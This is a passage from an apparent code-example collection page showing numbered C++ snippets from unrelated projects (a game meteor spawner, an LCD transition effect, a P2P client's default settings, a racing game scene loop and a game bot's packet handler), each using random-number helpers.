			Vector vecDirection( 0.0f, 0.0f, -1.0f );
			if ( m_aTargets.Count() > 0 )
			{
				float flFreq = 1.0f / m_aTargets.Count();
				float flFreqAccum = flFreq;

				int iTarget;
				for( iTarget = 0; iTarget < m_aTargets.Count(); ++iTarget )
				{
					float flRandom = GetRandomFloat( 0.0f, 1.0f );
					if ( flRandom < flFreqAccum )
						break;

					flFreqAccum += flFreq;
				}

				// Should ever be here!
				if ( iTarget == m_aTargets.Count() )
				{
					iTarget--;
				}

				// Just set it to the first target for now!!!
				// NOTE: Will randomly generate from list of targets when more than 1 in
				//       the future.

				// Move the meteor into the "world."
				Vector vecPositionInWorld;
				Vector vecSkyboxOrigin;
				g_pMapData->Get3DSkyboxOrigin( vecSkyboxOrigin );
				vecPositionInWorld = ( meteorOrigin - vecSkyboxOrigin );
				vecPositionInWorld *= g_pMapData->Get3DSkyboxScale();

				Vector vecTargetPos = m_aTargets[iTarget].m_vecPosition;
				vecTargetPos.x += GetRandomFloat( -m_aTargets[iTarget].m_flRadius, m_aTargets[iTarget].m_flRadius );
				vecTargetPos.y += GetRandomFloat( -m_aTargets[iTarget].m_flRadius, m_aTargets[iTarget].m_flRadius );
				vecTargetPos.z += GetRandomFloat( -m_aTargets[iTarget].m_flRadius, m_aTargets[iTarget].m_flRadius );

				vecDirection = vecTargetPos - vecPositionInWorld;
				VectorNormalize( vecDirection );
			}
			
			// Pass in the randomized position, randomized speed, and start time.
			m_pFactory->CreateMeteor( m_nMeteorCount, m_iMeteorType, meteorOrigin,
				                      vecDirection /* direction */,
				                      GetRandomFloat( m_flMinSpeed, m_flMaxSpeed ) /* speed */,
									  m_flNextSpawnTime, m_flMeteorDamageRadius,
				                      m_vecTriggerMins, m_vecTriggerMaxs );
		}
		
		// Set next spawn time.
		m_flNextSpawnTime += GetRandomFloat( m_flMinSpawnTime, m_flMaxSpawnTime );
	}

	// Return the next spawn time.
	return ( m_flNextSpawnTime - gpGlobals->curtime );
}
Beispiel #20
0
//************************************************************************
// CLCDGfx::StartTransition
//************************************************************************
void CLCDGfx::Cache()
{
	DWORD dwStart = GetTickCount();

	// Initialize pixels
	if(m_eTransition == TRANSITION_MORPH)
	{
		SLCDPixel *pPixel = NULL;
		SLCDPixel *pSource = NULL;

		int iIndex = 0;
		bool bBreak = false;
		bool bSearch = true;

		int iTransitionPixels = 0;

		POINT pt;
		for(int j=0;j<2;j++)
		{
			iIndex = 0;
			for(int i=0;i<m_nHeight * m_nWidth;i++)
			{
				pt.y = i/m_nWidth;
				pt.x = i - (i/m_nWidth)*m_nWidth;
				if((j==0 && !PtInRect(&m_rTransitionRegion,pt)) || (m_pSavedBitmapBits[i] != 0x00 && (j==1 || m_pBitmapBits[i] != 0x00)))
				{
					iIndex = i;

					pPixel = new SLCDPixel();
					pPixel->dSpeed = GetRandomDouble()*0.5 + 1;
					if(!PtInRect(&m_rTransitionRegion,pt)) {
						pPixel->cValue = m_pBitmapBits[i];
					} else {
						pPixel->cValue = m_pSavedBitmapBits[i];
					}
					pPixel->Start.y = pt.y;
					pPixel->Start.x = pt.x;
					pPixel->Position = pPixel->Start;

					bBreak = false;
					if(j==1 && bSearch)
					{
						// search for a pixel in circles with increasing radius around the location
						iIndex = findNearestMatch(m_pBitmapBits,i);
						if(iIndex < 0) {
							iIndex = i;
						} else {
							bBreak = true;
						}
					}

					if(j==0 || bBreak)
					{
						pPixel->Destination.y = iIndex/m_nWidth;
						pPixel->Destination.x = iIndex - (iIndex/m_nWidth)*m_nWidth;
						m_pBitmapBits[iIndex] = 0;
						m_pSavedBitmapBits[i] = 0;

						if(bBreak)
							iTransitionPixels++;
					}
					else
					{
						if(m_LMovingPixels.size() > 0 && iTransitionPixels > 0)
						{
							pSource = m_LMovingPixels[GetRandomInt(0, (int)m_LMovingPixels.size()-1)];		
							pPixel->Destination = pSource->Destination;
						}
						else
						{
							pPixel->Destination.x = GetRandomInt(0,m_nWidth-1);
							pPixel->Destination.y = GetRandomInt(0,1)==1?-1:m_nHeight+1;
						}
						bSearch = false;
					}

					if(j == 0)
						m_LStaticPixels.push_back(pPixel);
					else {
						m_LMovingPixels.push_back(pPixel);
					}
				}
			}
		}
		bool bRandom = false;
		if(m_LMovingPixels.size() <= 0)
			bRandom = true;

		for(iIndex=0;iIndex<m_nHeight * m_nWidth;iIndex++)
		{
			if(m_pBitmapBits[iIndex] == 0)
				continue;

			pPixel = new SLCDPixel();
			pPixel->dSpeed = GetRandomDouble()*0.5 + 1;
			pPixel->cValue = m_pBitmapBits[iIndex];

			if(!bRandom)
			{
				pSource = m_LMovingPixels[GetRandomInt(0, (int)m_LMovingPixels.size()-1)];	
				pPixel->Start = pSource->Start;
			}
			else
			{
				pPixel->Start.x = GetRandomInt(0,m_nWidth-1);
				pPixel->Start.y = GetRandomInt(0,1)==1?-1:m_nHeight+1;
			}

			pPixel->Position = pPixel->Start;

			pPixel->Destination.y = iIndex/m_nWidth;
			pPixel->Destination.x = iIndex - (iIndex/m_nWidth)*m_nWidth;
			m_LMovingPixels.push_back(pPixel);
		}

	}


	m_dwTransitionStart = GetTickCount();
	TRACE(_T("Textmorphing: time consumed: %0.2f\n"),(double)(m_dwTransitionStart-dwStart)/(double)1000);
}
Beispiel #21
0
QMap<QString, CSettings::SSetting> CNeoCore::GetDefaultCoreSettings()
{
	QMap<QString, CSettings::SSetting> Settings;

	// For values with limits is Default, Minimum, Maximum

	Settings.insert("Log/Merge", CSettings::SSetting(true));
	Settings.insert("Log/Store", CSettings::SSetting(false));
	Settings.insert("Log/Limit", CSettings::SSetting(10000,1000,100000));
	Settings.insert("Log/Level", CSettings::SSetting(1)); // 0 basic, 1 normal, 2 verbose

#ifdef _DEBUG
	Settings.insert("Modules/AutoStart",CSettings::SSetting(0));
#else
	Settings.insert("Modules/AutoStart",CSettings::SSetting(1));
#endif
	Settings.insert("Modules/NeoKad",CSettings::SSetting("NeoKad"));
	Settings.insert("Modules/MuleKad",CSettings::SSetting("MuleKad"));

	Settings.insert("Content/SaveInterval", CSettings::SSetting(MIN2S(5)));
	Settings.insert("Content/Temp", CSettings::SSetting(""));
	Settings.insert("Content/Incoming", CSettings::SSetting(""));
	Settings.insert("Content/UnifyedDirs", CSettings::SSetting(0));
	Settings.insert("Content/Shared", CSettings::SSetting(QStringList("")));
	Settings.insert("Content/VerifyTime", CSettings::SSetting(30));
	Settings.insert("Content/VerifySize", CSettings::SSetting(MB2B(5)));
	Settings.insert("Content/CacheLimit", CSettings::SSetting(MB2B(256), MB2B(128), MB2B(1024)));
	Settings.insert("Content/AddPaused", CSettings::SSetting(false));
	Settings.insert("Content/ShareNew", CSettings::SSetting(true));
	//Settings.insert("Content/ShowTemp", CSettings::SSetting(false));
	Settings.insert("Content/MagnetDomain", CSettings::SSetting("http://link.neoloader.to/"));
	Settings.insert("Content/MagnetRetry", CSettings::SSetting(MIN2S(10)));
#ifdef DECODER
	Settings.insert("Content/MagnetTimeLimit", CSettings::SSetting(MIN2S(60)));
	Settings.insert("Content/MagnetVolumeLimit", CSettings::SSetting(15));
	Settings.insert("Content/MagnetAllowDisplay", true);
#endif
	Settings.insert("Content/EndGameVolume", CSettings::SSetting(5,0,10));
	//Settings.insert("Content/AlwaysEndGame", CSettings::SSetting(true));
	Settings.insert("Content/FuseMount", CSettings::SSetting(""));
#ifndef WIN32
    Settings.insert("Content/FuseOptions", CSettings::SSetting("-o|allow_other"));
#endif
	Settings.insert("Content/IgnoreLastModified", CSettings::SSetting(0));
	Settings.insert("Content/ShareRatio", CSettings::SSetting(0)); // 0 means no ratio
	Settings.insert("Content/ShareTime", CSettings::SSetting(0)); // 0 means no limit
	Settings.insert("Content/AutoP2P", CSettings::SSetting(false));
	Settings.insert("Content/PreparePreview", CSettings::SSetting(false));
	Settings.insert("Content/Streamable", CSettings::SSetting("(mp4|m4v|divx|avi|mkv|mov|wmv|asf|mped|mpg|flv)"));
	Settings.insert("Content/FrontLoadSize", CSettings::SSetting(MB2B(8)));
	Settings.insert("Content/BackLoadSize", CSettings::SSetting(MB2B(2)));

	Settings.insert("Content/Preallocation", CSettings::SSetting(MB2B(100)));
	Settings.insert("Content/CalculateHashes", CSettings::SSetting(true));

	Settings.insert("Content/SaveSearch", CSettings::SSetting(true));

#ifdef _DEBUG
	Settings.insert("Other/PreventStandby", CSettings::SSetting(false));
#else
	Settings.insert("Other/PreventStandby", CSettings::SSetting(true));
#endif

	Settings.insert("Bandwidth/Upload", CSettings::SSetting(-1));
	Settings.insert("Bandwidth/Download", CSettings::SSetting(-1));
#ifdef _DEBUG
	Settings.insert("Bandwidth/UseUPnP",CSettings::SSetting(false));
#else
	Settings.insert("Bandwidth/UseUPnP",CSettings::SSetting(true));
#endif
	Settings.insert("Bandwidth/UseIPv6",CSettings::SSetting(false));
	Settings.insert("Bandwidth/DefaultNIC",CSettings::SSetting(""));
	Settings.insert("Bandwidth/WebProxy", CSettings::SSetting(""));
	Settings.insert("Bandwidth/MaxConnections", CSettings::SSetting(2500));
	Settings.insert("Bandwidth/MaxNewPer5Sec", CSettings::SSetting(250));
	Settings.insert("Bandwidth/TransportLimiting", CSettings::SSetting(true));
	Settings.insert("Bandwidth/FrameOverhead", CSettings::SSetting(18));

	Settings.insert("Upload/HistoryDepth", CSettings::SSetting(10,50,100));
	Settings.insert("Upload/UpWaitTime", CSettings::SSetting(HR2S(3),HR2S(1),HR2S(5)));
	Settings.insert("Upload/SlotSpeed", CSettings::SSetting(KB2B(8)));
	//Settings.insert("Upload/SlotFocus", CSettings::SSetting(false));
	Settings.insert("Upload/TrickleVolume", CSettings::SSetting(2));
	Settings.insert("Upload/TrickleSpeed", CSettings::SSetting(KB2B(1)));
	Settings.insert("Upload/DropBlocking", CSettings::SSetting(false));

	Settings.insert("Pinger/MinSpeed", CSettings::SSetting(KB2B(10))); // 10 kb/s
	Settings.insert("Pinger/MaxSpeed", CSettings::SSetting(-1));
	Settings.insert("Pinger/HostsToTrace", CSettings::SSetting(10));
	Settings.insert("Pinger/MaxFails", CSettings::SSetting(60));
	Settings.insert("Pinger/InitialPings", CSettings::SSetting(10));
	Settings.insert("Pinger/ToleranceVal", CSettings::SSetting(""));
	Settings.insert("Pinger/UpDivider", CSettings::SSetting(10));
	Settings.insert("Pinger/DownDivider", CSettings::SSetting(10));
	Settings.insert("Pinger/Average", CSettings::SSetting(3));
	Settings.insert("Pinger/Host", CSettings::SSetting(""));


	Settings.insert("PeerWatch/Enable",CSettings::SSetting(2));
	Settings.insert("PeerWatch/BlockTime", CSettings::SSetting(MIN2S(10),MIN2S(5),MIN2S(60)));
	Settings.insert("PeerWatch/BanTime", CSettings::SSetting(HR2S(2),HR2S(1),HR2S(6)));
	//Settings.insert("PeerWatch/IPFilter",CSettings::SSetting(""));

	Settings.insert("NeoShare/IdleTimeout",CSettings::SSetting(MIN2S(2),MIN2S(1),MIN2S(5)));
	Settings.insert("NeoShare/KeepAlive",CSettings::SSetting(60,30,MIN2S(3)));
	Settings.insert("NeoShare/ConnectTimeout",CSettings::SSetting(20,10,120));
	Settings.insert("NeoShare/RouteTimeout", CSettings::SSetting(MIN2S(5),MIN2S(1),MIN2S(15)));
	Settings.insert("NeoShare/MaxEntities", CSettings::SSetting(250));
	Settings.insert("NeoShare/RequestInterval",CSettings::SSetting(MIN2S(20),MIN2S(10),MIN2S(60)));
	Settings.insert("NeoShare/RequestLimit",CSettings::SSetting(100,10,250));
	Settings.insert("NeoShare/SaveInterval", CSettings::SSetting(MIN2S(5)));
	Settings.insert("NeoShare/SaveEntities",CSettings::SSetting(false));
	Settings.insert("NeoShare/KadPublishmentVolume",CSettings::SSetting(10,5,100));
	Settings.insert("NeoShare/KadLookupVolume",CSettings::SSetting(20,5,100));
	Settings.insert("NeoShare/KadLookupInterval",CSettings::SSetting(MIN2S(20),MIN2S(10),MIN2S(60)));
	Settings.insert("NeoShare/HubCheckoutInterval",CSettings::SSetting(MIN2S(40),MIN2S(20),MIN2S(120)));
	Settings.insert("NeoShare/LoadTreshold", CSettings::SSetting(75,50,100));
	Settings.insert("NeoShare/SaturationLimit", CSettings::SSetting(10,5,20));
	Settings.insert("NeoShare/Enable", CSettings::SSetting(true));
	Settings.insert("NeoShare/Anonymity", CSettings::SSetting(0, 0, 4));
	Settings.insert("NeoShare/Upload", CSettings::SSetting(-1));
	Settings.insert("NeoShare/Download", CSettings::SSetting(-1));
	Settings.insert("NeoShare/Priority", CSettings::SSetting(0));

	Settings.insert("NeoKad/Port", CSettings::SSetting(GetRandomInt(9000, 9999)));
	Settings.insert("NeoKad/TargetID", CSettings::SSetting(""));
	Settings.insert("NeoKad/LastDistance", CSettings::SSetting(0));
	Settings.insert("NeoKad/EntityKey", CSettings::SSetting(""));
	Settings.insert("NeoKad/StoreKey", CSettings::SSetting(""));

	Settings.insert("BitTorrent/Tracking", CSettings::SSetting("All-Tiers")); // "No-Trackers" "One-Tracker" "All-Trackers" "All-Tiers"
	Settings.insert("BitTorrent/MaxPeers", CSettings::SSetting(500, 10, 1000));
	Settings.insert("BitTorrent/ServerPort", CSettings::SSetting(GetRandomInt(6800, 6900)));
	Settings.insert("BitTorrent/AnnounceInterval",CSettings::SSetting(MIN2S(5),MIN2S(1),MIN2S(60)));
	Settings.insert("BitTorrent/AnnounceWanted",CSettings::SSetting(200,1,1000));
	Settings.insert("BitTorrent/ConnectTimeout",CSettings::SSetting(20,10,30));
	Settings.insert("BitTorrent/IdleTimeout",CSettings::SSetting(90,15,320));
	Settings.insert("BitTorrent/KeepAlive",CSettings::SSetting(30,15,60));
	Settings.insert("BitTorrent/RequestTimeout",CSettings::SSetting(60,15,120));
	Settings.insert("BitTorrent/RequestLimit",CSettings::SSetting(250,100,250));
	//Settings.insert("BitTorrent/RetryInterval",CSettings::SSetting(MIN2S(10),MIN2S(1),MIN2S(58)));
	Settings.insert("BitTorrent/Encryption", CSettings::SSetting("Support"));
	Settings.insert("BitTorrent/uTP", CSettings::SSetting(true));
	Settings.insert("BitTorrent/MaxRendezvous", CSettings::SSetting(5,3,10));
	Settings.insert("BitTorrent/CryptTCPPaddingLength",CSettings::SSetting(127,0,511));
	Settings.insert("BitTorrent/EnableTracker",CSettings::SSetting(1)); // 0 off, 1 on, 2 on but only for own torrents
	Settings.insert("BitTorrent/SavePeers",CSettings::SSetting(false));
	Settings.insert("BitTorrent/Enable", CSettings::SSetting(true));
	Settings.insert("BitTorrent/MaxTorrents", CSettings::SSetting(5));
	Settings.insert("BitTorrent/Upload", CSettings::SSetting(-1));
	Settings.insert("BitTorrent/Download", CSettings::SSetting(-1));
	Settings.insert("BitTorrent/Priority", CSettings::SSetting(0));

	Settings.insert("MainlineDHT/NodeID", CSettings::SSetting(""));
	Settings.insert("MainlineDHT/Address", CSettings::SSetting(""));
	Settings.insert("MainlineDHT/RouterNodes", CSettings::SSetting(QString("router.bittorrent.com:6881|router.utorrent.com:6881").split("|")));

	Settings.insert("Ed2kMule/UserHash", CSettings::SSetting(""));
	Settings.insert("Ed2kMule/NickName", CSettings::SSetting("http://neoloader.to"));
	Settings.insert("Ed2kMule/MaxSources", CSettings::SSetting(500, 50, 5000));
	Settings.insert("Ed2kMule/TCPPort", CSettings::SSetting(GetRandomInt(4600, 4700)));
	Settings.insert("Ed2kMule/UDPPort", CSettings::SSetting(GetRandomInt(4700, 4800)));
	Settings.insert("Ed2kMule/CheckFWInterval", CSettings::SSetting(MIN2S(15), MIN2S(10), MIN2S(60)));
	Settings.insert("Ed2kMule/ConnectTimeout",CSettings::SSetting(20,10,30));
	Settings.insert("Ed2kMule/IdleTimeout",CSettings::SSetting(60,15,320));
	Settings.insert("Ed2kMule/IncomingTimeOut",CSettings::SSetting(MIN2S(10),MIN2S(5),MIN2S(60)));
	Settings.insert("Ed2kMule/ReaskInterval",CSettings::SSetting(MIN2S(29),MIN2S(10),MIN2S(58)));
	Settings.insert("Ed2kMule/LanMode", CSettings::SSetting(false));
	Settings.insert("Ed2kMule/Obfuscation", CSettings::SSetting("Support"));
	Settings.insert("Ed2kMule/CryptTCPPaddingLength",CSettings::SSetting(127,0,254));
	Settings.insert("Ed2kMule/NatTraversal", CSettings::SSetting(true));
	Settings.insert("Ed2kMule/KadLookupInterval",CSettings::SSetting(MIN2S(29),MIN2S(10),MIN2S(58)));
	Settings.insert("Ed2kMule/KadMaxLookup",CSettings::SSetting(5,5,50));
	Settings.insert("Ed2kMule/SXInterval",CSettings::SSetting(MIN2S(10),MIN2S(5),MIN2S(40)));
	Settings.insert("Ed2kMule/SXVolume",CSettings::SSetting(20,5,50));
	Settings.insert("Ed2kMule/SaveSources",CSettings::SSetting(false));
	Settings.insert("Ed2kMule/Enable", CSettings::SSetting(true));
	Settings.insert("Ed2kMule/ShareDefault", CSettings::SSetting(false));
	Settings.insert("Ed2kMule/Upload", CSettings::SSetting(-1));
	Settings.insert("Ed2kMule/Download", CSettings::SSetting(-1));
	Settings.insert("Ed2kMule/Priority", CSettings::SSetting(0));
	Settings.insert("Ed2kMule/HashMode", CSettings::SSetting("Random-Secure")); // Random, Static, Random-Secure, Static-Secure
	Settings.insert("Ed2kMule/SUIKey", CSettings::SSetting(""));
	Settings.insert("Ed2kMule/HashAge", CSettings::SSetting(""));
	Settings.insert("Ed2kMule/UseServers", CSettings::SSetting("Static")); // None, Custom, Static, One, Booth
	Settings.insert("Ed2kMule/StaticServers", CSettings::SSetting(QString("ed2k://|server|91.200.42.46|1176|/\r\ned2k://|server|91.200.42.47|3883|/\r\ned2k://|server|91.200.42.119|9939|/\r\ned2k://|server|176.103.48.36|4184|/\r\ned2k://|server|77.120.115.66|5041|/\r\ned2k://|server|46.105.126.71|4661|/").split("\r\n")));
	Settings.insert("Ed2kMule/KeepServers",CSettings::SSetting(MIN2S(10),MIN2S(5),MIN2S(58)));
	Settings.insert("Ed2kMule/MinHordeSlots",CSettings::SSetting(1,0,10));

	Settings.insert("Hoster/MinWebTasks", CSettings::SSetting(10));
	Settings.insert("Hoster/MaxNewPer5Sec", CSettings::SSetting(25));
	Settings.insert("Hoster/MaxWebTasks", CSettings::SSetting(100));
	Settings.insert("Hoster/AccessFailedTimeOut", CSettings::SSetting(10));
	Settings.insert("Hoster/ServerBanTime", CSettings::SSetting(HR2S(2)));
	Settings.insert("Hoster/ServerBanTreshold", CSettings::SSetting(20));
	Settings.insert("Hoster/ServerDownTreshold", CSettings::SSetting(4));
	Settings.insert("Hoster/MaxUploads", CSettings::SSetting(1));
	Settings.insert("Hoster/MaxDownloads", CSettings::SSetting(5));
	Settings.insert("Hoster/MaxChecks", CSettings::SSetting(5));
	Settings.insert("Hoster/ReCheckInterval", CSettings::SSetting(HR2S(24),HR2S(1),HR2S(240)));
	Settings.insert("Hoster/AutoReUpload", CSettings::SSetting(true));
	Settings.insert("Hoster/MaxCheckouts", CSettings::SSetting(3));
	Settings.insert("Hoster/CheckoutInterval", CSettings::SSetting(MIN2S(60),MIN2S(30),HR2S(6)));
	Settings.insert("Hoster/MaxTransferRetry", CSettings::SSetting(3));
	Settings.insert("Hoster/ServerRetryDelay", CSettings::SSetting(MIN2S(2)));
	Settings.insert("Hoster/CaptchaRetryDelay", CSettings::SSetting(MIN2S(20)));
	Settings.insert("Hoster/MaxBadCaptcha", CSettings::SSetting(3));
	Settings.insert("Hoster/ManualCaptcha", CSettings::SSetting(1));
	Settings.insert("Hoster/AutoCleanUp", CSettings::SSetting(true));
	Settings.insert("Hoster/Encap", CSettings::SSetting("7z"));
	Settings.insert("Hoster/RarPath", CSettings::SSetting(""));
	Settings.insert("Hoster/RarComment", CSettings::SSetting(""));
#ifdef CRAWLER
	Settings.insert("Hoster/DecapCleanup", CSettings::SSetting("*.url;*.lnk;thumbs.db"));
	Settings.insert("Hoster/KeepSingleArchives", CSettings::SSetting(false));
#else
	Settings.insert("Hoster/KeepSingleArchives", CSettings::SSetting(true));
#endif
	Settings.insert("Hoster/EncryptUploads", CSettings::SSetting("RC4"));
	Settings.insert("Hoster/ProtectLinks", CSettings::SSetting(true));
	Settings.insert("Hoster/Enable", CSettings::SSetting(true));
	Settings.insert("Hoster/UseCaptcha", CSettings::SSetting(false));
	Settings.insert("Hoster/PartSize", CSettings::SSetting(0));
	Settings.insert("Hoster/MaxArcTasks", CSettings::SSetting(5));
	Settings.insert("Hoster/Upload", CSettings::SSetting(-1));
	Settings.insert("Hoster/Download", CSettings::SSetting(-1));
	Settings.insert("Hoster/Priority", CSettings::SSetting(0));

	Settings.insert("HosterCache/CacheMode", CSettings::SSetting("Off")); // Off, On, All
	Settings.insert("HosterCache/SelectionMode", CSettings::SSetting("Auto")); // All, Auto, Selected - hosters
	Settings.insert("HosterCache/PartSize", CSettings::SSetting(MB2B(100)));
	Settings.insert("HosterCache/MaxAvail", CSettings::SSetting(3));
	Settings.insert("HosterCache/MaxJoints", CSettings::SSetting(1));

	Settings.insert("HashInspector/Majority",CSettings::SSetting(90,80,100));
	Settings.insert("HashInspector/Quorum",CSettings::SSetting(10,5,20));

	Settings.insert("CorruptionLogger/MonitorTime", CSettings::SSetting(HR2S(4),HR2S(2),HR2S(16)));
	Settings.insert("CorruptionLogger/DropRatio", CSettings::SSetting(40, 10, 100));

	//Settings.insert("Script/AutoUpdate", CSettings::SSetting(true));
	//Settings.insert("Script/UserName", CSettings::SSetting(""));
	//Settings.insert("Script/Password", CSettings::SSetting(""));

	Settings.insert("Browser/MaxRetries", CSettings::SSetting(3));
	Settings.insert("Browser/TimeoutSecs", CSettings::SSetting(30));
	Settings.insert("Browser/ReplyBuffer", CSettings::SSetting(MB2B(4),KB2B(256),MB2B(64)));
	Settings.insert("Browser/TransferBuffer",CSettings::SSetting(KB2B(16),KB2B(4),KB2B(256)));

	return Settings;
}
Beispiel #22
0
///////////////////
// Start the diner
bool Dnr_Start(char *szDir)
{
    keyboard_t *kb = System_GetKeyboard();
    GLfloat     one[] = {0.3f,0.3f,0.3f,1};
    GLfloat     blue[] = {0.3f, 0.3f, 1.0f, 1.0f};
    GLfloat     pos1[4] = {1,1,1,1};
    GLfloat     pos2[4] = {1,1,1,1};
    GLfloat     pos3[4] = {25,-100,50,1};
    int         i;

    if( !Dnr_Load(szDir) )
        return false;

    for( i=0; i<3; i++ ) {
        pos1[i] = psDiner->pcLocation->getScene()->getLight(0).Position.GetIndex(i);
        pos2[i] = psDiner->pcLocation->getScene()->getLight(1).Position.GetIndex(i);
    }

    // Setup the diner for an opponent
    psDiner->nOppState = opp_waiting;
    psDiner->fOppTimer = tMainSR3.fCurTime + (float)GetRandomInt(2)+2.0f;

    sRaceInfo.pcOpponent = NULL;

    // HACK: Quickly get the opponent in the diner
    //Dnr_RollinOpponent();


    //psDiner->pcLocation->SetupCamera( CVec(25,11,-1.4f),100);
    //psDiner->pcLocation->setCamPos( CVec(0,0,0) );

    // Setup the fog
    State_Disable(GL_FOG);

    // Setup the lighting
    State_Enable(GL_LIGHTING);
    State_Enable(GL_LIGHT1);
    State_Enable(GL_LIGHT2);
    glLightfv(GL_LIGHT0, GL_DIFFUSE, one);
    glLightfv(GL_LIGHT1, GL_DIFFUSE, one);
    glLightfv(GL_LIGHT2, GL_DIFFUSE, one);
    glLightf(GL_LIGHT0, GL_CONSTANT_ATTENUATION, 1.00f);
	glLightf(GL_LIGHT0, GL_LINEAR_ATTENUATION, 0.0f);
    glLightf(GL_LIGHT1, GL_CONSTANT_ATTENUATION, 1.00f);
	glLightf(GL_LIGHT1, GL_LINEAR_ATTENUATION, 0.0f);
    glLightf(GL_LIGHT2, GL_CONSTANT_ATTENUATION, 0.80f);
	glLightf(GL_LIGHT2, GL_LINEAR_ATTENUATION, 0.01f);
    glMaterialf(GL_FRONT, GL_SHININESS, 25.0);
    glMaterialfv(GL_FRONT, GL_SPECULAR, one);


    System_ProcessInput();
	while(psDiner->bProcessDiner) {
		System_ProcessInput();

        //
        // Processing
        //
        psDiner->pcLocation->Process();
        psDiner->cSky.Simulate(tMainSR3.fDeltaTime);

        if( !psDiner->bSpeechBubble ) {
            Dnr_ProcessOpponent();
            Dnr_ProcessGUI();
        }

		cMainGuy->processFrame();



        //
        // 3D Drawing
        //
        glLightfv(GL_LIGHT0, GL_POSITION, pos1);
        glLightfv(GL_LIGHT1, GL_POSITION, pos2);
        glLightfv(GL_LIGHT2, GL_POSITION, pos3);

        SetupFrame();
        // Manually setup the camera
        psDiner->pcLocation->getCamera()->LookAt(psDiner->pcLocation->getCamLook());
        psDiner->pcLocation->getCamera()->Show();

        psDiner->cSky.Render( psDiner->pcLocation->getCamera() );
        State_Enable(GL_LIGHTING);
		psDiner->pcLocation->Draw(true, true, false);

        Dnr_DrawOpponent();



        //
        // 2D Drawing
        //
        Render_Begin2D();

            // Draw the sidedoor bit
            State_Enable(GL_TEXTURE_2D);
            State_Disable(GL_LIGHTING);
            State_Enable(GL_BLEND);
            glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);
            glColor4f(1,1,1,1);
            BlitTexture(psDiner->psSideDoor, 0,0, 0,472, 105,128, 1,1);
            for(i=0; i<10; i++ ) {
                BlitTexture(psDiner->psSideDoor, 105,0, i*95+105,472, 95,128, 1,1);
            }

            if( psDiner->bSpeechBubble )
                Dnr_SpeechProcess();

            psDiner->pcLocation->FinalDraw();

            if(psOptions->nShowFPS) {
                Font_SetAlpha(1);
                Font_SetSize(14);
                int fps = GetFPS();
                Font_Draw(5, 583, CVec(0,0,0), "FPS:  %d", fps);
                Font_Draw(5, 585, CVec(1,1,1), "FPS:  %d", fps);
            }
            if(psOptions->nDeveloper) {
                Font_SetAlpha(1);
                Font_SetSize(14);
                Font_Draw(5, 563, CVec(0,0,0), "Tris: %d", tMainSR3.TriCount);
                Font_Draw(5, 565, CVec(1,1,1), "Tris: %d", tMainSR3.TriCount);
            }

            // Draw the gui
            if(!psDiner->bSpeechBubble && psDiner->bProcessDiner) {
                if( psDiner->bOppClicked )
                    cDinerLayout.Draw();
                cDinerLayout2.Draw();
            }

            gui_DrawMouse();

		Render_End2D();

		SDL_GL_SwapBuffers();
    }

    //
    // Show a loading sign on the screen
    //
    Render_Begin2D();
    Font_SetSize(14);
    Font_SetAlpha(1);
    Font_DrawCentered(400, 300, CVec(1,1,1), "Loading...");
    Render_End2D();
    SDL_GL_SwapBuffers();


    // Are we going to race?
    if(psDiner->bRacing)
        // Off to the track
        Game_SetLocation(LOC_RACE);
    else
        // Back to the garage
        Game_SetLocation(LOC_GARAGE);

    Dnr_Shutdown();

    return true;
}
Beispiel #23
0
// Handle packet
void _Bot::HandlePacket(_Buffer &Data) {
	PacketType Type = Data.Read<PacketType>();

	//std::cout << (int)Type << std::endl;

	switch(Type) {
		case PacketType::ACCOUNT_SUCCESS: {

			// Request character list
			_Buffer Packet;
			Packet.Write<PacketType>(PacketType::CHARACTERS_REQUEST);
			Network->SendPacket(Packet);
		} break;
		case PacketType::ACCOUNT_NOTFOUND: {
			_Buffer Packet;
			Packet.Write<PacketType>(PacketType::ACCOUNT_LOGININFO);
			Packet.WriteBit(1);
			Packet.WriteString(Username.c_str());
			Packet.WriteString(Password.c_str());
			Packet.Write<uint64_t>(0);
			Network->SendPacket(Packet);
		} break;
		case PacketType::CHARACTERS_LIST: {

			// Get count
			uint8_t CharacterCount = Data.Read<uint8_t>();
			std::cout << "character count: " << (int)CharacterCount << std::endl;

			// Get characters
			int FirstSlot = -1;
			for(size_t i = 0; i < CharacterCount; i++) {
				size_t Slot = Data.Read<uint8_t>();
				Data.ReadString();
				Data.Read<uint32_t>();
				Data.Read<int32_t>();

				if(FirstSlot == -1)
					FirstSlot = (int)Slot;
			}

			// Create character
			if(FirstSlot == -1) {
				std::string Name = Username + "_" + std::to_string(GetRandomInt(0, 1000));
				_Buffer Packet;
				Packet.Write<PacketType>(PacketType::CREATECHARACTER_INFO);
				Packet.WriteString(Name.c_str());
				Packet.Write<uint32_t>(1);
				Packet.Write<uint32_t>(1);
				Packet.Write<uint8_t>(0);
				Network->SendPacket(Packet);

				FirstSlot = 0;
			}

			_Buffer Packet;
			Packet.Write<PacketType>(PacketType::CHARACTERS_PLAY);
			Packet.Write<uint8_t>((uint8_t)FirstSlot);
			Network->SendPacket(Packet);
		} break;
		case PacketType::OBJECT_STATS:
			if(Player)
				Player->UnserializeStats(Data);
		break;
		case PacketType::WORLD_CHANGEMAPS: {

			// Load map
			NetworkIDType MapID = (NetworkIDType)Data.Read<uint32_t>();
			double Clock = Data.Read<double>();

			if(Player)
				std::cout << Player->NetworkID << " ";
			std::cout << "WORLD_CHANGEMAPS " << MapID << std::endl;

			// Delete old map and create new
			if(!Map || Map->NetworkID != MapID) {
				if(Map) {
					delete Pather;
					delete Map;
					Pather = nullptr;
					Map = nullptr;
				}

				Map = new _Map();
				Map->Clock = Clock;
				Map->NetworkID = MapID;
				Map->Load(Stats->GetMap(MapID)->File);
				AssignPlayer(nullptr);

				Pather = new micropather::MicroPather(Map, (unsigned)(Map->Size.x * Map->Size.y), 4);
				Path.clear();
			}
		} break;
		case PacketType::WORLD_OBJECTLIST: {
			ObjectManager->Clear();
			AssignPlayer(nullptr);

			// Read header
			NetworkIDType ClientNetworkID = Data.Read<NetworkIDType>();
			NetworkIDType ObjectCount = Data.Read<NetworkIDType>();

			// Create objects
			//std::cout << ClientNetworkID << " WORLD_OBJECTLIST count=" << ObjectCount << std::endl;
			for(NetworkIDType i = 0; i < ObjectCount; i++) {
				NetworkIDType NetworkID = Data.Read<NetworkIDType>();

				// Create object
				_Object *Object = CreateObject(Data, NetworkID);

				// Set player pointer
				if(Object->NetworkID == ClientNetworkID)
					AssignPlayer(Object);
				else
					Object->CalcLevelStats = false;
			}

			if(Player) {
			}
			else {
				// Error
			}
		} break;
